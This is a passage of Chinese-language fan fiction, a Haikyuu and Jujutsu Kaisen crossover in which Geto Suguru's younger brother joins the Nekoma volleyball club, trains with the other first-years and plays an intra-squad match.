“嘛,如果你们二年级的开口,要将他们留下来的话,学长们会考虑答应的。” “无论怎样,先让新生们做个自我介绍。总不能随便什么人都招进来吧。” “他们之前已经自我介绍过了。”海信行道,“那位是——” “不用你来。”加藤打断,抱着胸道,“再来一次。” 网的两侧,四个一年级分立。脸上的表情同一,都称不上舒展。 黑尾铁朗插话道:“我先来介绍学长给新生们认识,怎么样?” 加藤皱了皱眉,看上去想说什么,旁边的山田却摆摆手:“你来也行。我们训练一通都没力气了。” 黑尾铁朗半转身。 此刻,他的左边是同级和三年级的学长,右边是一年级的四个新生。 从左往右,他开始介绍—— “这位是加藤前辈,主攻手。” 加藤没什么反应。 “这位是山田前辈,副攻手。” 名为山田的三年级笑着点点头。 “这位是铃木前辈,主攻手。” “这位是西村前辈,二传手。” 两人脸上的表情不冷不热。 “学长们好——” 一年级齐声道。 山田笑嘻嘻地道:“哎呀,想要加入我们的话,回去好好填入部届,交给……黑尾好了。” 他的目光投向另外三人。 其他三个三年级没有意见。 黑尾铁朗从善如流地点点头。 四个三年级在球网处逗留了一小会儿,很快便离开了。 山本猛虎不知为何松了一口气,挠挠头,疑惑地道:“……排球部的部长是谁啊,黑尾前辈吗?” “当然不是。”夜久卫辅道,“是加藤前辈。” 8.第 8 章 饭团、唐扬鸡块、厚蛋烧、盐烤三文鱼、蔬菜、番茄、水果…… 这样五彩缤纷的东西构成的便当……夏油幸脑袋里顿时冒出哥哥大清晨起来穿着围裙辛辛苦苦腌鸡块、裹粉裹鸡蛋液、烧油、炸鸡等等……一系列画面啊! “从腌鸡块做起,凌晨四点就得起了。鸡块和三文鱼都是之前买好的,超市里,还是你挑的。忘记了吗?” 夏油幸“啊”了一声:“对哦。” 夏油杰失笑,抬起右手拍了拍弟弟的肩膀:“开学第一天,感觉怎么样?” 夏油幸三两下,把排球部里的事绘声绘色地讲了一遍。 “小幸打算参加吗,排球部。良好的环境也很重要啊,小幸有自己想要做的事吧。” “怎么了?”夏油幸眨眨眼,“安心啦,你弟弟我可不是会任人欺负的类型哦。” “我对小幸的能力,一直都很放心。但总是不可避免地,也有一丝担心。如果有解决不了的事情,告诉我吧。” “哇啊——你今天格外坦诚啊。” “诶?今天吗,坦诚?” “是啊。” “我一直都是这样的吧。” “不,今天稍微更加直白一点。” “……或许是因为,”夏油杰想了想,“第一天上学。‘第一天’,总是要特别一些。” “关心的话,应该我说给你听才对啊。”夏油幸反握住哥哥的手,“学长欺负我,你能过来替我揍一顿;可咒灵的事,我能去帮你揍一顿咒灵不成吗?没法在这样重要的方面帮上你的忙,不过我想知道你的事情,一定要告诉我啊。” 夏油杰弯了弯眼睛:“我会的。” “‘真的吗?’我要不要问这句话呢?”夏油幸顺势靠在哥哥肩膀上,眼睛顺着对方的手臂朝电脑屏幕上瞄去。 文档是大大方方对他打开的,上面写着异世界冒险故事似的文字,什么某年某月某日某山村遇见某某形状怪物,咒术是某某等级是某级现场没有非术师……噼里啪啦一长串。 看着看着,夏油幸打了个哈欠。 …… 下午4点左右,和佐藤義久分道扬镳后,夏油幸和孤爪研磨顺道一块朝排球部走去,还带着填好的、家长也签好字的入部届,朝排球部走去。 体育馆内,黑尾铁朗已经收集好其他人的入部届了,昨天参与3v3的四个一年级,都进行了入部申请。 “四张。” 黑尾铁朗把入部届递给教练。 “不算多啊。”石井教练接过。 没有拒绝的理由,石井教练翻了翻这几张申请表,发现这四人国中时都有排球部的经历,更加爽快地点了点头。 “加藤。”石井教练朝场内喊了一声。 加藤小步跑来,石井道:“把大家都叫到一起吧。” 加藤点点头。 很快,音驹排球部目前的所有成员便集合到石井身边,除了四个新来的一年级,不知道站在哪里,自行排成一行。 石井走到二、三年级的队伍旁边,示意一年级站到对面。 望着四张稚嫩的脸上各异的表情,石井的脸上露出笑容:“欢迎大家加入音驹排球部。” 四个新生一齐朝石井教练鞠躬。 石井点点头,道:“想必你们中,并不是所有人都对我们音驹排球部有所了解,甚至有人自东北远道而来。那么,我来给大家介绍一下吧。” “我们音驹排球部,在几年之前,还是毋庸置疑的豪强。春高——也就是全国高等学校排球选手权大会,我们东京常规的代表名额有2个,作为东道主,还会额外增加一个名额。” “进入全国大赛的3个位置,放到以前,我们是无论如何也会在列的。今年,就继续以都大赛八强为目标,冲击四强。” “那么——”石井教练目光平静地看向前方,“一年级的,轮流说出自己的目标。” 目光落到一年级队伍最左边,那张看上去十分低精力的脸上,石井忍不住想到了一年前。 一年前,部里的黑尾铁朗、夜久卫辅、海信行三人,正是申请入部的新生,而现在,已经成为队内主力,是毋庸置疑的正选部员了。 全国称霸。 石井教练还记得那天,这三个年轻人豪情壮志、信心满满喊出的口号。 那么,今天的新手,又会怎么样呢? “……” 来自教练的目光清楚地率先落到自己身上,孤爪研磨抿了抿唇,缓缓道:“……好好训练,打好二传。” 石井教练一愣,随即点点头。 经历了热血新生,这种脚踏实地的也不错嘛。 下一个,山本猛虎仰头道:“打入全国大赛!” 福永招平在旁边点头:“嗯嗯!” 最后一个轮到夏油幸,他道:“我会做好合适的事的。” 又一个脚踏实地的非热血型。 石井教练合上夹板,道:“那么,接下来就让我们排球部的部长,跟你们交代一些具体的事情——加藤。” 加藤自队伍中走出,神色淡淡的,扫视着一年级,道:“我们音驹排球部没有经理,大大小小的事都是自己动手。器材搬运、清扫馆内,还有活动部的收纳和整理,这些通通都需要大家去做。” “每天早上7:15,在这里集合,进行晨训。第一堂课之前,打扫好体育馆再回教室,下午4点进行正式的部活训练。” “还有,排球部的球衣、队服,今天的部活结束后,先由黑尾和夜久统计尺寸,在招新结束后,统一定制。最近这几天,就用学校的运动服进行训练。” 石井教练点点头。 他没什么可补充的了。 “那么今天,二、三年级根据自己的节奏照常训练,一年级进行自主训练。明天早上,三个年级统一进行晨跑。” 队伍散开。 三年级自成一群,很快朝球场中心移去,四个一年级互相对视几眼,也自觉地站到一块。 “接下来怎么办?”山本猛虎第一个开口。 在这批新成员里,他算是性格最活泼的那个了,此时此刻也不免感到有些迷茫。 排球去哪里领、器材去哪里搬、哪块场地是一年级的训练场地、音驹排球部平常的训练内容是什么…… 这些通通不知道。 再怎么神经大条,山本猛虎也清楚地知道,自己不能一头热地冲过去和三年级的一块训练。 还有,此刻放在球场一边的框式深蹲架,杠铃闲置在上面,看上去很需要谁去握一握的样子……他可以吗? 夜久卫辅、黑尾铁朗、海信行三人站到几个一年级的学弟身旁。 “哦斯,前辈们好!”山本猛虎马上道。 夜久卫辅笑着点点头,直言快语道:“接下来,和我们几个二年级的一块训练吧。” 山本猛虎立马眼冒亮光:“哦斯!” …… 夜久卫辅将场边的一筐排球拉过来,道:“我们音驹是以防守闻名的,无论你是哪个位置,即使是会被自由人换下场的副攻,在接球方面也是需要炉火纯青的。” “排球不落地,比赛就不会结束——当然,在进行正式的训练之前,先来活跃一下身体吧。” 在夜久卫辅的示意下,四个一年级一人抱起一个排球。 “间隔一定距离,绕成一个圈——” “好,现在,开始跑动——” 四个人分散组成的圆圈,开始在场馆最右边的场地上以顺时针进行转动了。 “就是这个速度,不用加快——”站在场边,夜久卫辅大喊道,“然后,大家把球轻轻抛起,先用自己的惯用手,单手垫球——应该不会幸运地有哪位其实是左撇子吧。”他小小地开了个玩笑,打算活跃活跃气氛。 不过对于一年级来说,没有人为此发出笑声。 一年级们死死地盯着眼前这颗蓝黄相间的小球。 垫球是排球中最基础的动作。 但是,即使两个人面对面站着互相垫球,也有可能出现各种各样的失误。 而现在,一上来就是跑动垫球…… 一年级们不得不聚精会神起来。 场边,夜久卫辅、黑尾铁朗、海信行三人,一齐注视着训练中的四个一年级。 昨天下午,三年级的几个前辈们打断得太快,3v3未能决出胜负,他们三个也没来得及好好地讨论讨论一年级们。现在,正好是时候。 跑动垫球需要的动作是最基础不过的,但是,非常考验身体的灵活性与协调性。 先用惯用手单手垫球,等到熟悉后,再进行双手垫球,训练安排是这样的。 相对双手垫球训练而言,单手跑动垫球要简单很多。容错空间很大,发力也更好控制。 没过多久,一年级们便跑过了三圈。 里面有个蘑菇头,十分显眼地开始喘气,表情放空,似乎出神了一秒,手上的排球不小心打高了。 意识到这点后,一年级步伐减小、速度放慢,将排球接到掌心,又重新以之前的频率开始。 而以四个一年级围成的圆圈中,四个人各站一点,如果哪位脚下紊乱,在场边便能看得清清楚楚。 如果有谁偷懒,当然也是一清二楚。如果偷懒地过分,那么他身后的那位的训练将会受到阻碍,因而,彼此还形成了互相督促的作用。 一石n鸟之计。 看着重新跑起来的蘑菇头,夜久卫辅摸摸下巴,道:“这位……” “孤爪研磨。”黑尾铁朗道。 “哦,你记得很清楚嘛?关心后辈是好习惯啊。”夜久卫辅倒是没想到自己在这方面输了,“哟西——我要仔仔细细记住后辈们的名字!” 黑尾铁朗大大方方地说:“这是我自小一起长大的好朋友,我当然记得清楚了。” “哦!”夜久卫辅不知道该先感慨哪个,挑了个要紧的说,“那么,我没有输给你咯~” “这是重点吗?”黑尾铁朗很无语,“其他三个人的名字我也通通记住了。” 夜久卫辅不甘示弱:“我不光记得他们的名字,还记得他们的优势!” “我还——” “——好了好了。” 两只大章,一左一右搭在夜久卫辅和黑尾铁朗的肩膀上,海信行露出慈悲为怀的笑容。 “一年级的已经被你们彻底吸引目光,训练的节奏都慢下来了。” 夜久卫辅和黑尾铁朗一愣,一齐朝场上看去。 果不其然,四双大眼睛远近各不同地望着他们。 n目对视的一瞬间,后辈们不约而同,装作若无其事地把脑袋转回去,继续跑动,排球垫得啪啪作响。 “这些家伙……”黑尾铁朗差点儿给气笑了,“以后得好好管管了。” “嘛,嘛。”夜久卫辅摸摸后脑勺。 海信行怕这两人又开始随地小吵,忙道:“说起来,昨天在场边,两支队伍我都仔仔细细地看过了。” “你觉得怎么样,海?”黑尾铁朗挑眉道。 海信行温和道:“就算不论其他人,队内有夜久和你,论防守,已经算是高水准了。我们欠缺的并非地面的救球,而是强势的攻力。我认为,夏油可以作为补充。” “一年级的正选吗……后辈真是不容小觑啊。” 夜久卫辅看了发出感慨的黑尾铁朗一 眼:“我们不都是一年级就做正选的吗?” “也是废了一番挣扎啊。” “谁说不是呢?”夜久卫辅有几分感慨,不过没打算继续,“夏油,我昨天接他的扣球,力道十分不错。不过我有理由怀疑,那并不是他全部的力气。” “看上去确实很轻松呢。” “接下来有的是测试的时间。” “其他人呢?” “孤爪——你的朋友,”夜久卫辅回想着昨天的那个二次进攻,“作为新手,能够使用二次进攻,他很有意识嘛。只是,看上去体力不太好的样子啊。” “孤爪昨天在场上似乎没有怎么跑动,”海信行补充,“也多亏夜久能将球传到网前。” “哈哈哈。”不知道想到什么,黑尾铁朗笑出来了,“精力值低,也算是那家伙的特色吧。不过我相信,他会带来惊喜。” “哦?”夜久卫辅充满怀疑地道,“你又有什么计划?” “不是计划。”黑尾铁朗神秘地摆摆手,“接下来,说说山本吧。” “那家伙稍微有些热血啊。” “是这样啊。” “接球不错,符合音驹的传统。”夜久卫辅回忆着道。 “福永,他对球的控制或许是精准的一类。”海信行道,“昨天有一颗球,在底线前面停了下来。” 就在这时,一颗球滚落到场边。 二年级的对话暂停,三人朝球场上看去,只见那颗熟悉的蘑菇头朝这里小跑而来。 靠近的一瞬,额头和脸颊上满是汗珠,这副气喘吁吁、精疲力尽的样子把夜久卫辅看得吓了一跳:“没事吧?” 孤爪研磨摇摇头。 “你们……大概跑了多少圈?” “11圈。”孤爪研磨道。 “可以了。”看学弟这么累,夜久卫辅干脆朝场上喊暂停。让大家都停下来,在场边慢走,进行调节,“大家辛苦了。” 一年级们朝三个学长点点头,黑尾铁朗伸脚踢了踢旁边的厚塑封膜,里面放着几瓶未开封的矿泉水。 “今天大家先喝矿泉水,明天开始记得带水杯哦~体育馆里有矿泉水和运动饮料,可以自行决定往水杯里装哪个。” 后辈们看上去都没什么力气,就连一直最为活跃的山本猛虎都忍不住喘了两口气。 “以后……每天的训练就是这个吗?” “训练内容是五花八门的。”夜久卫辅答道,“最基础的,每天早上的晨训,需要大家沿着校外的某条固定道路一起晨跑。下午的部活训练,在统一的热身与训练之后,就是每个人的自主训练。” “自主训练?”山本猛虎听到自己最感兴趣的了。 “是的。”夜久卫辅对后辈十分温和,也没有被频繁发问的无奈,“无论大家在国中时期打的是什么位置,上高中后在教练的指导下进行更换、去往更合适的位置,这些都是常事。而自主训练,则是根据你的位置和你平常的练习中暴露的薄弱项,进行专门的针对性训练。” “哦斯。”嘴上尊敬地应答着,山本猛虎脸上却没有多少喜色。 “怎么了?” 山本猛虎没有迟疑,直接道:“我喜欢打主攻的位置,也不想改变。” 夜久卫辅忍不住笑了起来:“你很直率嘛。” 黑尾铁朗在一旁坏笑道:“如果现在队内空出一个正选的位置,不过是副攻。你是坚持打主攻呢,还是该换赛道,以副攻的身份去成为队内正选吗?” 山本猛虎顿时一愣:“……能这么轻易地换位置?” 夜久卫辅和黑尾铁朗对视一眼,笑了起来。 海信行也在后面笑着摇摇头。 山本猛虎挠挠头,反应过来自己似乎被学长们逗了。 不过他并没有生气,尤其跟之前的三年级比起来,他觉得这几位二年级的前辈还是挺好相处的。 况且,他来排球部,是有自己重要的目标要实现。 和学长们打了声招呼,山本猛虎握着矿泉水,走到他最关心的那个人身边。 “夏油。” “嗯?” 夏油幸扭头,看到是山本猛虎,倒没什么意外。 山本猛虎很客气,语气也很爽快:“刚才的垫球训练里,你一个球都没掉。” 是打算专门过来夸他吗?夏油幸歪歪脑袋。 “很厉害。怎么做到的?”山本猛虎目光如火。 “……”夏油幸不是非常喜欢社交的类型,当然也并非社交恐惧症。山本猛虎这类直来直去快人快语的个性,恰好暂且不在他所排斥的范围内。 “你指的不掉球?盯住球就好了。” “还有——你的重心特别稳跑到后面也不怎么晃垫球也特别稳全程高度都很稳定平衡也特别好就算偏一点也不会混乱掉球——” 夏油幸伸手按了按自己的太阳穴:“你的问题真是多啊。” 山本猛虎道:“我们都是主攻手的位置,起码目前。我是不会输给你的!” “你指什么?” “正选的位置!” “这个嘛……”夏油幸想了想,忽然露出一个温和的笑。 “山本同学,在找我宣战之前,要不要先去问问前辈们呢?” “啊?”山本猛虎露出热血笨蛋特有的白痴表情。 “根据事实来讲,在我们这些一年级入部之前,音驹排球部就已经有一支正选球队了,是这样吧?那么,对面是二年级和三年级的学长,你要怎么从他们手里夺取一个主攻手的位置呢?” 夏油幸拧开手中的矿泉水瓶,和山本猛虎维持在半空中,举到身前的矿泉水瓶轻轻一碰。 “我很期待。” 9.第 9 章 早上7:09,音驹第一体育馆。 场馆内聚集了不少人,黑尾铁朗、夜久卫辅、海信行三人已经换上了运动服和跑鞋,正站在球场边低声交谈。 7:15,夏油幸背着背包到达。 “你也是够悠闲的。”黑尾铁朗一指右边,“快去换衣服。” 不用黑尾提醒,夏油幸已经看到了三位二年级学长身后,那四张表情各异的三年级的面孔。 “黑尾学长。”夏油幸打了个招呼,“明天会早到的。” 穿着校服西装的身影消失在场馆的通道拐角。 夜久卫辅抿起嘴唇,表情古怪,似笑非笑。 用余光瞄了一眼身后,确认有一定距离,夜久小小声道:“这是……” 昨天训练结束后,加藤学长将四个一年级叫到身边,交代完场馆清理任务,又把他们分为两组,安排一年级轮流负责晨间值日。 具体来说,就是要早早到校,去体育室登记领钥匙,提前把体育馆打开,等待其他人到齐后一块晨训。 今天值日的是福永招平和山本猛虎小组,明天就轮到夏油幸和孤爪研磨了。 海信行明白夜久在说什么:“学长们当年也是这样过来的吧。永远都有新的一年级,完全是代际传承啊。” “夏油君的话,”黑尾铁朗同样压低声音,道,“面无表情的时候,只是单纯地回复,还是在隐隐抒发不满,完全看不出来啊。” 夜久和海一块点头:“嗯嗯。 很快,排球部的所有部员都换好了运动服和跑鞋,在体育馆门口集合。 加藤道:“排球部是校外晨跑。从侧门出去,沿着马路跑到河边……排成单列,一年级,跟紧前面,不要掉队。” 说罢,加藤便领头跑了出去。 夏油幸最后再稍微活动了下脚踝和膝关节。 高年级依次跟上,山本猛虎第一个接在队尾,后面是福永招平和夏油幸。孤爪研磨脸上的表情看上去不怎么样,不过还是跟着跑起来。 七点多的东京,天空已经亮起偏冷的白光,空气带着新鲜的凉意,自脸颊拂过。路边的排水篦子上贴着软塌塌的粉白花瓣,夏油幸保持着均匀的呼吸,放缓了脚步。 先慢跑,再加快速度。 夏油幸有意退到队尾,让身后的孤爪研磨先过去,不想发现孤爪比他还慢一点,便待在现在的位置了。 跑在前面的学长们穿着醒目的红色队服外套,像一串行动中的红灯笼。移动在大马路一侧的音驹排球队,吸引了几道来自上班族的目光。 跑了大概500米,身体开始微微发热了。夏油幸眯起眼睛,继续向前跑。 队伍的速度也渐渐提起来了。 沿着住宅街,穿过小公园,不知道跑了多久,一条灰蓝色的河道在眼前徐徐铺开。 一行人沿着水泥灰的步道跑上桥,又跑了一会儿后,最前面的加藤,加藤在较为宽阔的空地上停下,后面的人也陆续刹车。夏油幸停下脚步,稍微喘了两口气,叉着腰开始在桥边踱步。 “诶?是不是少了一个人啊!”山本猛虎的大嗓门响了起来。 夏油幸扫了周围一眼,没看到自己身后的蘑菇头。 “一年级的丢了。”三年级的铃木学长过来检查了一圈,道。 加藤皱眉:“都说了跟紧一点了。” 就在这时,黑尾铁朗指着来时的道路:“没丢。” 顺着他手指的方向,众人纷纷朝桥下望去。 果不其然,一个蓝色的小点正以缓慢的速度朝这里靠近。 “跑得好慢。”山本猛虎忍不住道。一扭头,正好对上夏油幸的眼睛。 夏油幸道:“像游戏地图上面的标记点。” 一旁的黑尾铁朗耳朵一动,笑道:“哈哈,研磨大概会喜欢这种说法哦。” 气喘吁吁的蘑菇头终于靠近,能够看清那张额前贴着汗湿发丝的脸。 黑尾铁朗连忙从兜里掏出一张手帕递过去,孤爪研磨接过,靠在护栏上擦汗。 此情此景,原本准备好一肚子教训的加藤也说不出什么话了。 加藤张了张嘴:“……你,下次跑快点。” 孤爪研磨有气无力地点点头。 山田奇道:“哎,孤爪国中是排球部的吧?体育部的人也会这样吗?一场比赛打下来很累吧?” “……有点。” 孤爪研磨闭上眼睛。 国中的时候,孤爪研磨所在的排球部是普通的小型,勉强能凑够打比赛的六人。虽然很累,他也确实从中品尝到过乐趣。 但是,像音驹高中这样人数足够、齐整而严密的排球部,只是第二天,孤爪研磨便已经感到些许不适应。 规整的队伍,稍微掉队一点,都会足够明显。 原地休整了大概五分钟,排球部又沿着原路跑回去了。 回到体育馆后,两人一组练了一会儿对传和垫球。8:10,三年级离开。快到上课时间了。 夏油幸今天的第一堂课是数学课。 学习状态停止在午休时间,夏油幸刚打开便当,前桌的佐藤便转过身来。嘴巴嚼动中,右手握了一个已经咬了一半的炒面面包,左手还拎着一个没拆封的。 “两个炒面面包?”夏油幸肃然起敬。 炒面面包作为各个学校食堂TOP1的热门产品,夏油幸国中时期许多次,只能望着“已售罄”的牌子,选择别的东西,什么土豆面包之类的。 佐藤義久拍拍胸脯:“没有人挤得过我。” 随着他的动作,那自胸口撑到肩颈的肌肉一鼓一鼓的。夏油幸咬着饭团道:“灵异会用得到这身肌肉吗?” “怎么不用?”佐藤眨眨眼,“等捉妖怪的时候,前辈们那些瘦弱身板可是不顶用的啊。” 夏油幸决定多说两句:“可别真的招来什么奇奇怪怪的东西啊。” 佐藤奇妙道:“你不是无神论者吗?” 夏油幸“哈哈”两声:“我是说外星人。” 佐藤脑袋上的飞机卷弹了弹:“……你不是在逗我吧?” 夏油幸选择举起饭团,和对面的炒面面包碰了碰。佐藤很喜欢这种方式,乐呵呵地继续和夏油幸聊他们灵异会的一百零八种找妖怪方法。 邻座的孤爪研磨则抓紧每一点空档,低头摆弄游戏机。 下午4:30左右,部活开始了,游戏机从孤爪研磨手上彻底消失。 一番彻底的热身后,依旧是从最基础的训练做起——普通的双人对传和垫球。 这样枯燥的基础训练,一年级们至少自国中就开始反复做了,早已成为习惯。 接下来是扣球训练。音驹没有经 理,由二年级的前辈在网前抛球,四个一年级依次助跑、起跳,很快轮了几遍。 山本猛虎瞄着三个二年级。 鸡冠头的黑尾学长总是坏笑,和尚头的海前辈很慈悲,一头软毛的夜久前辈则完全是十分亲和的模样啊! 山本猛虎上前,猛地九十度鞠躬:“前辈好!” “哦!”夜久卫辅吓了一跳,差点把手中的矿泉水瓶捏爆。 “抱歉!”山本猛虎更大声了。 “没关系没关系。”夜久卫辅对这位有礼貌且训练中非常积极的莫西干头学弟印象不错,“山本,是有什么事吗?” 山本猛虎的脸上立马泛起一种可以被命名为“不好意思”的表情。 “……”夜久卫辅品味着这缕诡异的羞涩。 看不出学弟想干嘛。 “那个……” “那个那个……” “干嘛?”夜久卫辅仰头。 山本猛虎深吸一口气:“我们音驹——有没有练习赛啊!!” 夜久卫辅身板一震,随即大喊了回去:“这么大声干嘛!” “抱歉,前辈!” “算了算了。”夜久卫辅本来也没真生气。他咂摸了一下后辈的心思,道,“练习赛肯定是有的。” “比方说,其实每逢假期,我们音驹基本都会和其他强校进行合宿。一起训练的学校包括神奈川的生川高中,埼玉县的森然高中,还有……” 夜久卫辅故意停了半拍。在学弟亮晶晶的期盼目光中,他缓缓吐出最后一个校名:“同在的东京都的——枭谷学园。” “——哦!!” 霎时,仿佛有两丛火焰自山本猛虎的眼眶中喷涌而出。山本猛虎大叫着,马上就要小火箭般原地升天的前一秒,夜久卫辅抬手,一巴掌拍在这颗脑袋上。 “小声点啊!” “哦斯。” 突然安静下来的体育馆里,山本猛虎小声答道。 黑尾铁朗在一旁看戏,干脆把几个一年级都叫了过来。 “比赛场上的每一分可都是由日常的训练累积而来的,不过嘛,你们着急上场的躁动心情,我也不是不了解啦~” “简单地说说吧。一年中,有两场赛事需要我们重视,正是大家都知道的IH和春高。” “先说最近的IH。”顾及到夏油幸来自东北的岩手县,大概率并不熟悉东京这边的情况,黑尾铁朗特地解释道,“IH的预选赛在每年的六月,乍一看还有两个月。但是,IH预选赛的分组,依赖的是在此之前的关东大会。” “关东大会预选赛,就在四月底。” 四月底,不就是马上吗? 一年级们的内心,不同程度地活跃起来。 “但是,”黑尾铁朗无情地泼下一盆冷水,“有没有一年级能够成为正选队员,或者作为替补参加比赛,还未可知。” 氛围瞬间冷淡下去,黑尾铁朗继续笑眯眯道:“嘛,不要紧张。无论关东大会如何,我们都能够报名IH。不过,关东大会的结果,确实会影响IH预选赛的分组。那么,教练会不会考虑启用足够有能力的一年级呢?” 场边的长椅上,一直沉默旁观的石井教练站了起来。 “说得不错。”石井教练道,“那么,在对手学校的练习赛到来之前,先队内打一场吧。” 10.第 10 章 黑尾铁朗点点头,道:“3v3?” 石井教练摇摇头:“6v6。” 夏油幸在旁边听着。 现在场内所有的部员,三个年级加起来也才十一个人。6v6……难道是要邀请外校的过来? 没过多久,他的疑惑得到了解答。 体育馆内多了5个人,石井教练将四个一年级叫了过来。 “这几位是你们的前辈。”石井教练对一年级说罢,转而又朝5人道,“一年级入部的时候你们不在,现在互相认识认识吧。” 5人最左边的中分头朝教练点点头,率先开口道:“我是杉山,二年级,位置是主攻手。开学这几天被生徒会抓去负责入学典礼,可惜没赶上你们的入部欢迎会。” 听到最后一句话,山本猛虎挠挠头,嘴唇动了动,扭头看向右边。 ——正巧又是夏油。 “那个,”山本挠挠头,“我们啥时候办过入部欢迎会啊?” “没有办过。”夏油幸肯定道。 ——你们两个声音还能再大一点吗? 站在一旁的夜久卫辅捂住脸。 “那正好。”杉山毫无尴尬之色,热情道,“那么等这周的招新结束,大家一起去吧。” “哦斯!”山本猛虎响亮应答。 夏油幸和福永招平也跟着应声,孤爪研磨慢半拍,轻轻点了下头。 “我是原田,二年级,副攻手。”站在杉山右边圆脸少年接着道,“有点不好意思说啊……那个,春假集训的时候,我不小心扭伤了脚踝,直到昨天医生才允许我运动。” “保护自己身体的意识一定要有。”石井教练提醒道。 接下来的三位都是三年级的学长,分别是二传手丸山、自由人高木、副攻手阿部。 作为三年级,三人都有纠结是否干脆提前引退,最后还是决定再在排球部留一段时间。 阿部挠挠头:“反正我们没什么升学的压力。” 二、三年级部员归队后,音驹排球部部员变为:三年级7人、二年级5人、一年级4人。 石井教练拿着夹板陷入沉思,众人先散开热身。 热身时,四个一年级不知不觉又和二年级的黑尾、夜久、海前辈凑到了一起。夏油幸有些好奇地道:“说起来,排球部的正选队员是哪几位呢?” 黑尾铁朗和夜久卫辅几乎同时拍了拍自己的胸口:“我。” 海信行在旁边平静地举起一只手:“还有我。” “那么剩下四位呢?” “先前那四位三年级前辈。”海信行答道。 夏油幸点点头。 不一会儿,教练将所有人集中到身前,宣布分组名单。 音驹6v6红白赛—— 红队:主攻手加藤、福永、海三人,副攻手黑尾、阿部,二传手孤爪研磨,自由人夜久卫辅。 白队:主攻手夏油幸、山本、铃木三人,副攻手山田、原田,二传手西村,自由人高木。 一个个名字从石井教练口中跳出。七名正选被打散到两边,四个一年级混在其中;不同年级的部员彼此交换着眼神,球场上的气氛渐渐浮动起来。 在混杂的空气中,夏油幸从放在场边的小包里掏出护膝换上。走回自己所在的白队,队伍已经以三年级正选的铃木、西村与山田为中心,站成一个半圆。 作为音驹正选二传手的西村,此刻表情十分自然。他率先开口道:“快速熟悉一下吧,我们第一次配合。队内的强攻有铃木、快攻有山田,一年级我会尽量托高球,留给你们调整的时间。高木,后面拜托了。” 音驹替补自由人高木点点头。 铃木接道:“只是一场队内赛而已,教练大概也是想看看一年级的水平吧。” “话虽如此,不过我们几个可是被打散了啊。”山田道,“虽然有心想让后辈多一些表现机会,但对面红队,加藤、夜久、黑尾都在那里,一味旁观的话可是会输掉的。” 西村将目光投向两个陌生的一年级,先是莫西干头,他问道:“你喜欢什么样的球?” “高一点,往外面送!”山本猛虎按捺住内心的激动,两只手拉开一截,“最好能让我完整助跑,然后砰地——” 他用右手向下做了个凶猛的挥击动作,险些打中一旁的铃木。 铃木面无表情地往旁边退了两步。 西村点点头,看向夏油幸:“你呢?” “高一点,离网稍微有一段距离。” 西村“嗯”了一声。 比赛开始了。 拿到发球权的是白队,1号位的铃木选择了跳发球,三步助跑。 球网对面,夜久卫辅灵巧地在后排移动着,排球像是被完全预测了落点一般,稳稳当当地被自由人垫起,传向网前。 这是孤爪研磨的第一次二传,石井教练握着夹板在场边默默观察。 身形单薄的一年级二传站在网前,单从外形上看,并不是具有优势的球员。孤爪几乎没有挪步,双手等在球下,排球自指间飞向左路。 石井教练在夹板上记下一笔。 “砰!” 排球被加藤正面扣到白队的空隙处。 加藤拿手的直线球。石井教练满意地点点头。 红队轮到发球的人正是孤爪研磨。 正面上手发球。被白队的自由人高木接了起来,西村托球。 队伍的第一个进攻,提起士气、稳定局面,选择当然是王——啊,王牌在对面啊。 西村挑眉,不无遗憾地将球托给了铃木。 铃木跃起,同时,球网对面,黑尾铁朗起跳——单人拦网。 排球被山本猛虎成功接起,西村立刻托向山田,后者扣出利落的A快攻。 下一球,黑尾网前复仇成功。 “啊呀。”落回地面,铃木对黑尾感慨道,“你的拦网一直在进步啊。” 没等黑尾多笑两声,场边,石井教练将右手抵到脸边,朝场内喊道:“多给一年级球!” 确定了,这场比赛果然是为了观察一年级啊。 球网两侧,三年级们交换了眼神。 山田调侃道:“听见了吧,别跟后辈抢球。” 隔着球网,加藤回应道:“既然如此,分也让他们自己挣吧。” 红队:白队=2:1。 红队,黑尾发球。 高木龇牙咧嘴地接起,心里不由得感慨了起来。 身为三年级,自己一直以替补的身份默默无闻于排球部,逐渐疏于训练,而黑尾这个小他一级的后辈,早已成为音驹不可或缺的一部分…… 当然,就算日夜苦练,也没法代替夜久上场啊。 小球飞向西村。 这场比赛的排球使用的不是蓝黄相间的Mikasa,而是由红绿白组成的Molten。 看着那道朝他飞来的素雅曲线,夏油幸心中腾升起一股诡异的熟悉感。在小豆排球部的时光,他经常用的球正是Molten。 “砰!” 排球自掌心扣出的一瞬,网的对面,夜久卫辅金棕色的瞳孔缩成一线。大脑自动预测着落点,脚步情不自禁朝那处移去,但是…… “福永!”夜久卫辅大喊。 这一球,就让他看看一年级的防守水准吧。 福永招平重心压低,像一只鼬一般灵巧地自左侧窜出,两只手臂并拢,朝落下的排球垫去。 位置正好……! 福永招平的眼睛亮了一瞬。 但是…… “嘭——!” 排球冲过头顶,飞向场外。 “……” 福永招平趴在地上,缓慢地眨眨眼。 怎么……回事? 夜久卫辅将他拉起。 “出界了。” “……”福永招平顺着这股力道站起来。 出界了……正是大问题啊! < p>对上那两颗放空的黑色眼珠,夜久卫辅无奈道:“虽然读得懂你想说的……但能不能直接开口?” “——你想问为什么夏油君的动作看起来并不夸张,却比预料中要重很多,是吧?” “……nice。”福永招平默默竖起大拇指。 夜久卫辅拍了拍后辈的肩膀,没有作答,目光投向球网对面。 此后的几个来回,夜久有意让福永练习更多接球。直到红队的进攻被高木防起,西村再度赶到球下,将球托向夏油幸所在的右路。 红白绿缠绕的小球再次飞向夏油幸时,夜久卫辅移动到中间,后撤两步。 “我来!” 膝盖弯曲,压低重心,身体半蹲,上身前倾,但依旧保持着能够随时启动的状态。 夜久内心平静而专注,视野中的一切都被他过滤,唯有那道在网前起跳的身影。 “砰!” 短促的击球声。 红、绿、白三色在空中翻卷出干脆利落的轨迹,却在越过网口后陡然下压。 夜久卫辅快速朝前移动,双臂接触到排球的一瞬,身体顺着冲击后滑半步,手臂形成的平面牢牢地垫在前方。 ——排球垫起来了! 福永招平松了一口气,朝网前跑动,等待孤爪研磨将球传到他的手中。 但是,属于孤爪那标志性的有气无力的声音却响起:“……小黑!” “来了!” 黑尾铁朗三步助跑,三米线后起跳—— 后排进攻! 排球擦过山田的指尖,扣进白队后场。 黑尾铁朗落到前场,对上福永招平呆呆的脸蛋。 黑尾拍了拍后辈的肩膀:“怎么了?” 福永招平摇摇头:“夜久前辈接到了。” “所以球还活着。”黑尾朝三米线抬了抬下巴,“但没到研磨的位置,进攻自然需要调整。” 啊。福永招平用目光道。 